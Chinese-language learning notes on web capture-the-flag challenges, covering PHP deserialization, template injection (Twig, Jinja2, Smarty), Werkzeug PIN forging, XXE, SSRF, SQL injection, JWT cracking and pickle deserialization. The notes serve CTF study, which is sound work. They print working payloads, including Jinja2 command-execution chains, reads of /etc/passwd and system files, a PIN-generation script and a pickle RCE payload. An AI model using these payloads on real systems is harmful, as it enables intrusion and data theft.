- 可以从前端源代码中获取信息,但给出的函数不一定就是解题思路。可以从得到的信息中试试其他的方法
- X-Forwarded-For:127.0.0.1表示从本地访问
题解,题解
学到的知识点:
- 绕过_wakeup的方法,参数值设置为大于实际的参数值即可
- private变量复制后会少空白符,用%00补上
题解
学到的知识点:
PHP反序列化详解
- 序列化时:new了一个对象,对象被执行,执行_construct;serialize了对一个对象,对象被序列化,先执行_sleep,再序列化
- 反序列化时:unserialize了一个序列化字符串,对象被反序列化,先反序列化,再执行 _wakeup;程序执行完毕,对象自动销毁,执行_destruct
- php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符
题解
考点:
- extract变量覆盖
- php反序列化逃逸(字符串变短)
学到的知识点:
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
这个语句会将我们传入的session[img]覆盖掉,因此我们只能通过php反序列化来给session[img]赋值。
题解1(php反序列化逃逸讲的很详细),题解2(extract变量覆盖讲的很详细)
考点:
php反序列化pop链
学到的知识点:
- 魔术方法:
__wakeup() //使用unserialize时触发
__sleep()//使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic()//在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset()//在不可访问的属性上调用isset()或empty()触发
__unset()//在不可访问的属性上使用unset()时触发
__toString()//把类当作字符串使用时触发
__invoke()//当脚本尝试将对象调用为函数时触发- 魔术方法执行顺序:
new对象
__construct()
serialize对象
__sleep()
unserialize对象
__wakeup()
对象若被当作字符串使用了
__toString()
对象若访问了不可访问属性
__get()
…
…
__destruct()
- 若class中存在protected、private属性,可以在最后使用echo urlencode(serialize($a)),将对象a进行url编码,从而绕过protected、private属性被序列化后成为不可见字符的缺陷。
题解
考点:
system被过滤的情况下,执行代码的方式。可以用assert来替换,不过有一个局限性,就是只能执行表达式或函数。通常使用assert(phpinfo())
学到的知识点:
- eval函数中的参数是完整的php代码(完整指符合php语法规则的代码),因此必须注意传入php代码时要以分号;结尾。
- eval函数和assert函数区别:eval函数中参数是字符,assert函数中参数为表达式 (或者为函数),在一句话木马中的区别,在一句话木马中的区别
- flag不一定藏在本地路径下的某个文件里,也有可能藏在phpinfo()中,可以搜索一下flag有关的字段。
题解
学到的知识点:
- 使用数组可以绕过的函数:
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) =null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) =null
strpos(Array(),“abc”) = null
strlen(Array()) = null
- php序列化后过滤字符串导致长度增加的绕过方法总结:
(1)需要修改的属性的前一个属性如果是字符串,那么在需要修改属性的序列化字符串前加";,后面加;}
例如:“;s:5:“photo”;s:10:“config.php”;}
(2)需要修改的属性的前一个属性如果是数组,那么在需要修改属性的序列化字符串前加”;},后面加;}
例如本题:";}s:5:“photo”;s:10:“config.php”;}
- php序列化数组的表现:s:xx:变量名;a:1:{i:0;s:xx;字符串;i:1;s:xx:字符串;}
做题小技巧:
代码审计时,可以先去找源代码中存在flag的字符的位置,这样可以确定目标。
题解,题解2(php反序列化过滤绕过方法)
有用的链接:
模板注入详解;
模板注入原理1;
模板注入原理2;
tqlmap简单使用方法
学到的知识点:
- flask的session是存储在客户端cookie中的,而且flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
- flask项目先去看route.py,搞清楚每个页面都进行了哪些操作,如何渲染的。一般在templates目录下
- nodeprep.prepare函数会将unicode字符ᴬ转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a
题解
思路:
- 点击flag按钮,发现网页可以读取本机的ip,因此可以联想到它是获取了get数据包中的X-Forwarded-For字段的信息
- 因此我们截取数据包,修改X-Forwarded-For字段,发现网页的确发生了变化
- 尝试php的Twig模版注入漏洞。发现可行
学到的知识点:
- php的Twig模版注入漏洞。各类模板注入漏洞
- 如果网页可以获取本地ip,有两种可能,一种是通过X-Forwarded-For字段获取,另一种是通过Remote Address字段获取。
题解
考点:PHP中Twig模板漏洞:这道题应该是对user字段进行了过滤、编码或转义了system和javascript代码,所以不能使用上面那道题(The mystery of ip)中直接使用{{system(‘ls’)}}来进行命令执行,也不能利用XSS漏洞。但可以使用{{2*7}}来尝试是否有Twig漏洞,如果返回了14证明后台模板进行了解析。
学到的知识点:
- 网页如果能回显你的输入或者http请求header信息,那么大概率是模板漏洞。(回显输入可以先尝试是否可以进行XSS)
- Twig模板漏洞的一些常用注入payload:
{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“cat /flag”)}}//查看flag
{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}}//查看id- 常用的一些SSTI的注入payload:
(1)Smarty拿取webshell
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,“”,self::clearConfig())}
(2)Twig 命令执行
{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}}
(3)freeMarker
<#assign ex=“freemarker.template.utility.Execute”?new()> ${ ex(“id”) }
(4)Jinjia2模板引擎通用的RCE Payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings’ %}{{ c.__init__.__globals__[‘__builtins__’].eval(“__import__(‘os’).popen(‘’).read()”) }}{% endif %}{% endfor %}
- 常见的后端语言用到的框架
python:jinja2 mako tornado django
php:smarty twig Blade
java:jade velocity jsp输入{{7*‘7’}},返回49表示是 Twig 模块
输入{{7*‘7’}},返回7777777表示是 Jinja2 模块
题解,题解2
考点:
flask模板注入
学到的知识点:
- 模板中设定{{ }}包括的内容为后端变量,% %包括的内容为逻辑语句
- flask框架需要观察@app.route(‘’),这个一般会给出可以注入的路径,注入方法为在url后面加入/路径/{{ }}
- 我们可以通过{{config}}、{{self.__dict__}}获取信息。
- 利用python对象之间的引用关系来调用被禁用的函数对象。
思路:
- 首先观察源代码,发现有关flag的语句为:app.config[‘FLAG’] = os.environ.pop(‘FLAG’),因此我们需要查看一下配置文件config。
- 有两种方法读取config,第一是使用{{config}}、第二是使用{{self.__dict__}},但是源代码将config和self都过滤了
- 所以我们可以使用url_for和get_flashed_messages来获取current_app全局变量,然后再用url_for.__globals__[‘current_app’].config获取config的信息即可
题解1,题解2
学到的知识点:
- 一般用到了X-Forwarded-For,可以先考虑是否有服务器模板注入漏洞,可抓取数据包,加入该字段:X-Forwarded-For:127.0.0.1{{2*7}}看是否能够解析2*7,然后再用{{system(‘ls …/…/…/’)}}来获取各级目录下的文件
2.上述操作一般在burpsuite的Reapeter模块进行,如果发出来很可能不会在页面显示,需要查看源代码,这样容易漏掉信息。
题解
学到的知识点:
- 抓包后Cookie传参时使用分号;进行参数分割,即Cookie:a=xxx;b=xxx;c=xxx。
- 模板问题一般思路都是先看@app.route字段,这样可以确定如何传入参数,而且可以间接确定哪些函数比较重要。
思路:
- 首先阅读源代码中的@app.route字段,发现有两个路径可以以get和post方式传入参数。一个是geneSign,一个是De1ta。
- 再看源码中的Task类,发现该类有四个参数,action, param, sign, ip。然后函数Exec中首先进行了一个self.checkSign()的判断,该判断的意思是需要
hashlib.md5(secert_key + param + action).hexdigest()==self.sign
- 接着看Exec函数,发现如果
(1)self.action中含有"scan"字符串,就可以将self.param文件中的内容写入result.txt中。
(2)self.action中含有"read"字符串,就可以将result.txt文件中的内容读取出来。这样一来我们分析,可以这样构造参数action和param
self.action = 'readscan’或者self.action = ‘scanread’,其实只要同时包含read和scan就行。
self.param = ‘flag.txt’现在的问题在于如何使得self.checkSign()的判断成立。即hashlib.md5(secert_key + param + action).hexdigest()==self.sign。我们有param和action的具体值,但是没有secert_key的值,看源码中secert_key = os.urandom(16),因此我们需要在服务器后端来获取该值或者直接调用函数生成self.sign。
- 源码中有一个函数geneSign()刚好可以直接获取self.sign,但是它只给了param的赋值方法,action直接赋值为了scan,所以我们可以构造第一个payload:
/geneSign?param=flag.txtread。这样一来,拼接后的param和action为flag.txtreadscan,满足要求。
- 获取了self.sign之后,就可以根据challenge()函数中的传参方法将param、action、sign都传到服务器后端,param是用get方法传入,action和sign都是以Cookie方式传入。这样就可以获得flag了。
/De1ta?param=flag.txt
Cookie:action=readscan;sign=xxxx
题解
学到的知识点:
- Flask开启debug模式等于给黑客留了后门,具体介绍
- 在jinja2中 控制结构为 {% %} 变量取值为 {{ }},函数和属性:
__class__ 返回调用的参数类型
__bases__ 返回基类列表
__mro__ 此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__() 返回子类的列表
__globals__ 以字典的形式返回函数所在的全局命名空间所定义的全局变量,与 func_globals 等价
__builtins__ 内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等
python内建函数文档
- 模板注入的一些方法合集(非常重要)
jinja2常用的一些代码:
# 读取某文件内容
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('某文件路径','r').read() }}{% endif %}{% endfor %}
# 读取文件目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %}
- 当遇到过滤模板注入代码的情况,如果过滤的是一些文件名,如flag等可以手动修改的字段,可以尝试将过滤的内容逆序输入进去,比如’txt.galf’[::-1],或者使用字符串拼接的方法,比如’fl+ag.txt’,来绕过过滤的内容
- Flask是基于Werkzeug和Jinja 2的Web框架。研究Flask的PIN码生成机制,就是研究Werkzeug的PIN码生成机制。Flask构造PIN需要的内容:
(1)【flask所登录的用户名】: 可以通过读取/etc/password获得:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}
(2)【modname】:一般不变,为flask.app
(3)【getattr(app, “name”, app.class.name)】: python该值一般为Flask ,值一般不变
(4)【flask库下app.py的绝对路径】: 在debug的报错信息中可以获取此值,该题中为: /usr/local/lib/python3.7/site-packages/flask/app.py
(5)【当前网络的mac地址的十进制数:str(uuid.getnode())】:通过文件/sys/class/net/eth0/address读取
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
(6)【docker机器id:get_machine_id()】:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}
读取的id为
1:name=systemd:/docker/310e09efcc43ceb10e426a0ffc99add5c651575fe93627e6019400d4520272ed 0::/system.slice/containerd.service
'''获取PIN的代码'''
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'1937152578472719',# str(uuid.getnode()), /sys/class/net/ens33/address
'33d31cdec53fd03d49e8d4ab532d9960fc336d9f6d7d9618ffd8509ca3df5fde'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
题解(对一些预备知识的讲解比较透彻),题解2(PIN讲的比较透彻,payload比较准确)
学到的知识点:
- flask模板注入中如果不能执行循环函数(for关键字被过滤),可以手动来探测可以借助的类,然后用索引访问,比如:
[].__class__.__base__.__subclasses__()[59]
可以借助的类:、
- flask模板注入时出现的 . 都可以用[‘’]来替代,这样的好处是可以用字符串拼接来绕过过滤,比如:
{{[].__class__.__base__.__subclasses__()[59][‘__init__’]
[].__class__.__base__.__subclasses__()[59].__init__
利用方法
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
利用方法
>{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
题解
学到的知识点:
- java web中WEB-INF是Java的WEB应用的安全目录。所谓安全,就是客户端无法访问,只有服务端可以访问的目录。如果想在客户端直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相关映射才能访问。WEB-INF主要包含以下内容:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:包含所有的 Servlet 类和其他类文件,类文件所在的目录结构与他们的包名称匹配。
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件。
- 读取WEB-INF/web.xml文件后,去WEB-INF/classes/目录下找对应的class文件。
- 流程:
1.读取读取WEB-INF/web.xml文件
filename=WEB-INF/web.xml
2.找到与flag相关的servlet和class文件
filename=WEB-INF/classes/xxx/xxx/xxx
3.反编译该文件,得到源码
题解
思路:
- 首先打开网页
(1)查看网页内容,没有发现有价值的内容。
(2)查看网页源代码,也没有发现有价值的内容。
(3)用目录扫描工具扫描,发现.git文件夹泄露
(4)如果目录扫描工具无法使用时,可以先用burpsuite抓包,然后用intruder模块探测一下/.git文件夹能不能访问,如果返回301(重定向),则表示可以访问。- 使用GitHack工具获得网页源代码,方法为:
python GitHack.py 网页url/.git- 获得index.php文件的源代码,发现改源码中存在一个一句话木马,eval($_GET[‘exp’]),因此想到可以:
(1)给exp赋值为file_get_contents(flag的位置)来获取flag文件
(2)或者使用php伪协议来获取flag文件- 但是查看源代码发现,源码中对exp的内容进行了过滤,第一层过滤就是伪协议过滤,第二层是无参数RCE,第三层是对一些特殊字符的过滤。
- 我们对伪协议的过滤无法进行绕过,因此无法使用伪协议。所以我们只能从不带参数的RCE绕过方法入手。无参数RCE绕过,从这篇文章可以得到五种绕过方法。但是第三层对一些特殊字符的过滤导致一些方法中提到的函数无法使用。最终我们选择两种方法进行绕过。他们的payload如下所示:
(1)?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
(2)?exp=readfile(session_id(session_start())); 这种方法需要抓个包,然后将cookie改为cookie:PHPSESSID=flag.php
注意最后的;不要忘记,因为源代码中判断会将所有嵌套的函数都置为null,然后再和;比较,相等才会执行下一步。
学到的知识点:
- /.git文件夹的泄露会导致一些敏感文件泄露,可以使用intruder模块先对网站该目录进行扫描,返回301证明泄露,再使用GitHack来获取网页源代码信息。
- 无参数RCE绕过。
- php中一些重要函数:
(1)读取文件内容的函数:file_get_contents()、highlight_file()、show_source()、fgets()、file()、readfile()
(2)getcwd():获取当前目录
(3)dirname() :获取上一级目录
(4)chdir():修改为当前目录
(5)localeconv():返回一包含本地数字及货币格式信息的数组。第一个返回的值为.(可用作当前目录)
(6)current():获得当前索引下字典值。next():获取下一个索引下的字典值
(7)current(localeconv()):获取.
(8)scandir():扫描当前目录下存在哪些文件和文件夹
(9)array_reverse():反转容器内容
(10)print_r():打印任意对象的内容,常常这样使用print_r(scandir())
题解1,题解2
学到的知识点:
- 如果网页中出现乱码,可以使用unicode解码一下看看。具体方法,右键网页上方,选择菜单栏,点击查看,修复文字编码
- robots.txt和phpmyadmin是敏感文件和敏感目录。常见的敏感文件和目录
- 登录到phpmyadmin后先看数据库中有没有敏感数据可以获取,没有的话可以查看一下该phpmyadmin版本,数据库版本,网站服务器版本等信息,再根据版本号查找该版本是否存在漏洞。
- 文件包含漏洞:phpmyadmin4.8.1漏洞,利用/使db_datadict.php?成为一个不存在目录,利用include函数的目录不断跳转尝试得到flag目录。
题解1,题解2
学到的知识点:
- 网页源代码中如果存在 .ajax({})、xml等关键词,php后台源码中如果使用了loadXML()这个函数,一般就是XXE外部实体注入漏洞。
- 注意网页源码中关键词url,要在这个页面以POST方法将编写好的外部实体传入。用burpsuite。
- 编写XXE外部实体注入代码时,要根据网页源码获取变量的结构进行编写。本题中,网页源码获取变量的结构是:var data = “
”; 所以编写代码时,要 ” + username + “ ” + password + “ 这样编写。 &admin; 1123
payload:
DOCTYPE test [
]>
<user><username>&admin;username><password>1123password>user>
题解
学到的知识点:
- 以下文件可帮助探测内网存活的主机。探测到之后可以爆破一下c段,看哪些主机正在内网运行。
/etc/hosts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie
- 探测成功后可以使用http://协议来访问内网主机
- 网站根目录一般为/var/www/html/
题解
思路:
- 点击join添加一条数据,然后发现用户名可以点击
- 点击后url发生了变化,传入了一个no的参数
- 尝试使用sql注入,发现waf过滤了很多字符,其中就包括"union select"字符串,可以使用"union/**/select"或"union all select"来绕过。
- sql注入获取表名,列名之后,获取表中信息,获取到我们插入信息的序列化内容,因此可以想到利用php反序列化来获取flag
- 但一般的php反序列化都会有源代码供我们参考,因此这里就会想到使用目录扫描,看有没有可以获取源代码的途径。扫描到了flag.php和robots.txt两个文件
- flag.php是我们的目标文件,robots.txt中又泄露了/user.php.bak这个文件,里面有我们需要的php代码。
- 代码审计,发现php代码中出现了curl_exec函数,标志着该位置可能存在ssrf漏洞,因此我们发现该函数处理的内容正好是我们blog传入的值,因此我们可以写一段脚本,将blog赋值为"file:///var/www/html/flag.php",来获取flag.php内容。
- 将脚本中的类进行序列化。
- 构造payload:/view.php?no=-1 union all select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:1:“1”;s:3:“age”;i:1;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}’
- 查看网页源代码,获取base64编码的flag.php文件,用base64解码该文件,得到flag。
学到的知识点:
- "union select"字符串可以利用"union/**/select"或"union all select"来绕过。
- 涉及到php反序列化的问题,一般都会给定源代码,所以可以先进行一下目录扫描。
- ssrf漏洞的常见函数:file_get_content()、fsockopen()、curl_exec(),三个函数的简单介绍
- sql注入时,如果需要用到union查询后的内容,可以通过将参数设置为一个不存在的数值,如本题中no=-1,来获取union查询后的内容。在本题中需要使用union查询到的序列化的数据,因此no=-1就将union查询到的数据传入了后端。
题解
思路:
- 首先打开页面,发现页面每间隔5s就刷新一次,查看源码发现确实是这样的。源码最下面发现以POST方法传了两个参数func和p
- 使用burpsuite抓包,发现func的内容是data,p的内容是Y-m-d+h%3Ai%3As+a,这让我们联想到data(“Y-m-d+h%3Ai%3As+a”)这个函数,而能将函数名和函数的参数分别当作参数进行执行的函数就能联想到call_user_func这个函数。
- 因此我们尝试换一个函数名和参数,看是否可以执行。这里想到读取文件的函数readfile、file_get_contents、highlight_file。将func=readfile&p=index.php传入。发现网页回显了index.php文件的内容。如果此时我们知道flag文件的位置,那么就可以直接获取flag文件,可惜我们不知道,所以我们现在的目的就变为了获取flag文件的位置。(这里有两种解法,一种是使用 \ 绕过函数名过滤,另一种是使用反序列化函数,下面讲解反序列化的方法)
- 观察index.php,我们发现了 __destruct()函数,这是php反序列化的标志。还发现很多函数被过滤了,因此我们没办法直接采用system(‘ls’)或其他函数来执行命令查找flag文件的位置。因此我们继续观察代码,发现gettime($func, $p)被执行了两次,第一次出现实在__destruct()函数中,第二次出现是在检查func是否有违规字符串出现时,因此我们可以将func=unserialize&p=序列化内容传入。
- 将func=unserialize&p=序列化内容传入后,第一次执行func字符串检查,发现unserialize没有被过滤,因此执行unserialize(&p),执行这条语句后会调用__destruct()函数,因此会再次调用gettime($func, $p)函数,注意此时的func就变为了之前p中序列化里的func,p就变为了之前p中序列化里的p。
- 因此我们可以这样构造payload:func=unserialize&p=O:4:“Test”:2:{s:1:“p”;s:18:“find / -name flag*”;s:4:“func”;s:6:“system”;},其中find / -name flag*表示查找以flag为前缀的文件。找到flag文件位置后,使用cat命令获取该文件即可。
- 最后构造payload:func=readfile&p=/tmp/flagoefiu4r93获取flag文件
学到的知识点:
- 如果遇到没思路的题目,除了查看源文件,还可以进行抓包查看
- data(“Y-m-d+h%3Ai%3As+a”):获取时间;
call_user_func(函数名,函数参数):执行函数;
readfile、file_get_contents、highlight_file:读取文件内容- 只有执行unserialize(&p)才会调用类中的函数,单纯传入一个序列化的变量p是不会调用类中函数的。
- find函数可用于查找系统文件:find / -name 查找的问价内容*
*代表通配符- 针对这道题而言,在函数名前加 \ 可以绕过函数名检查。例如:func=\system就可以直接执行系统命令来查找flag的位置和内容。
题解
考点:
学到的知识点:
- 各类编码的密文特征1,各类编码的密文特征2
base64:一般情况下密文尾部都会有两个等号,明文很少的时候则没有
base58:没有等号
base32:明文超过十个后面就会有很多等号
base16:没有等号并且数字要多于字母
url:全是%xx
md5:一般MD5值是32位由数字“0-9”和字母“a-f”所组成的字符串
- md5碰撞,md5弱碰撞:可以使用两个md5加密后开头都是0e的字符串,这样一来会被当作科学计数法。虚假md5强碰撞:可以使用两个数组来绕过。真实md5强碰撞(url编码,参数a、参数b):a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2两个字符串不相等的地方在倒数第9个字符,一个是%55,一个是%d5
- linux命令绕过方法
- echo可以直接执行cmd命令。
题解
思路:
脚本查询:
- 页面提示要买lv6,所以需要在商品中找到lv6,但是商品页面有500页,所以手动找不现实,因此需要写脚本来查询:
import requests
import time
url = "http://e0969233-466b-48dc-ab3a-a75f58d1e755.node4.buuoj.cn:81/shop"
temp = {"page": 0}
result = []
for i in range(1,501):
temp["page"] = i
r = requests.get(url, params=temp)
time.sleep(0.1)
print(temp["page"])
if '/static/img/lv/lv6.png' in r.text:
result.append(temp["page"])
print(result)
- 找到lv6商品在第181页,但是发现该商品非常贵,因此想到抓包来改商品价格。但是发现商品价格不可改,但是可以改商品折扣,因此把折扣改的很小很小,这样就买到了这个商品。并发现了一个新的页面/b1g_m4mber
crsf(java web token,jwt):
- 访问/b1g_m4mber页面,发现只让admin访问,因此需要将jwt(jwt结构)中的payload里面会用用户的标识,因此这里的admin可能是指这里面的用户标识username要改为admin(而且抓的包中也提示了这是个csrf漏洞),于是对该网页进行抓包,将Cookie中的jwt拿出来,放到爆破网站来查询。但想要伪造jwt,还需要一个密钥key,因此使用jwt攻击工具来破解key,得到key为1Kun。
于是我们修改username为admin,key填为1Kun
php反序列化
- 成功访问了该网站后,查看网页源码发现有后台源码www.zip文件,下载下来分析一下admin.py,里面对post的请求的参数become进行了一个pickle的反序列化(pickle.loads函数),于是我们构造一个类,类里面的__reduce__python魔术方法会在该类被反序列化的时候会被调用。
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
# a = c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
- 把a值放到数据包中的become中,这样就获得了flag.txt中的内容。
学到的知识点:
- java web token爆破的工具:爆破网站,jwt攻击工具
- pickle模块反序列化时可以调用python中的魔术方法__reduce__。
unicode网站
题解
做题流程